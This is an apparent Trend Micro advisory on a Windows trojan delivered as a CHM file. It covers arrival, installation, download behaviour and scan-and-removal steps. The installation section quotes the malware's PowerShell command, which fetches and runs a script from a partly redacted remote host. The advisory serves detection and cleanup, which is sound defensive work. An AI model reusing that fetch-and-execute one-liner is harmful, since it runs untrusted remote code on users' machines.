Analysis by: John Donnie Celestre
 Modified by: Maureen Reyes
ALIASES:

HEUR:Trojan-Downloader.Script.Agent.gen (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 13,506 bytes
File Type: CHM
Memory Resident: No
Initial Samples Received Date: 12 Dec 2018

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell.exe -WindowStyle 1 IEX (New-Object NEt.WebClient).DownloadString('https://bonus.{BLOCKED}smtp.com/v107?1536638272'); Start-Sleep -s 15
  • %System%\taskkill.exe /f /im hh.exe

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • https://bonus.{BLOCKED}smtp.com/v107?1536638272

Other Details

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.684.04
FIRST VSAPI PATTERN DATE: 12 Dec 2018
VSAPI OPR PATTERN File: 14.685.00
VSAPI OPR PATTERN Date: 13 Dec 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.HTML.POWLOAD.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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